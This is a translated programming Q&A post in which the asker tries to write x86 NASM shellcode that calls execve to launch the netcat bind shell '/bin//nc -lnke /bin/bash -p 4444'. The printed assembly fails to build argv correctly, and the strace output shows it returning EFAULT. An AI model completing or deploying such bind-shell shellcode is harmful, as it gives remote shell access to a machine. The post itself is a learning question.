【发布时间】:2019-02-09 18:45:00
【问题描述】:
我正在尝试使用execve 执行以下操作:/bin//nc -lnke /bin/bash -p 4444
阅读execve 的手册页时,我看到以下要求:
int execve(const char *filename, char *const argv[],
char *const envp[]);
我遇到的问题是将参数推送到argv;我不明白你如何推动一个数组(在汇编中)以使其正常工作。
我目前使用的程序集如下:
global _start
_start:
xor eax, eax
; command
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx, esp
; args
push eax
push 0x34343434
push 0x20702d20
push 0x68736162
push 0x2f6e6962
push 0x2f20656b
push 0x6e6c2d20
mov ecx, esp
; null, arg 1
push eax
mov edx, esp
; push to stack
push edx
push ecx
push ebx
; command
mov al, 11
int 0x80
这会导致将以下内容传递给execve:
$ strace -f -e execve -s 10000 ./bind
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)
如何使用程序集正确传递这些参数?
我正在使用带有nasm的Linux
【问题讨论】:
-
您为哪个操作系统编程?
-
我在我的答案中添加了一些关于如何在 shellcode 中执行此操作的信息。如果它解决了您可能有的任何疑问,请告诉我。
标签: linux assembly nasm shellcode execve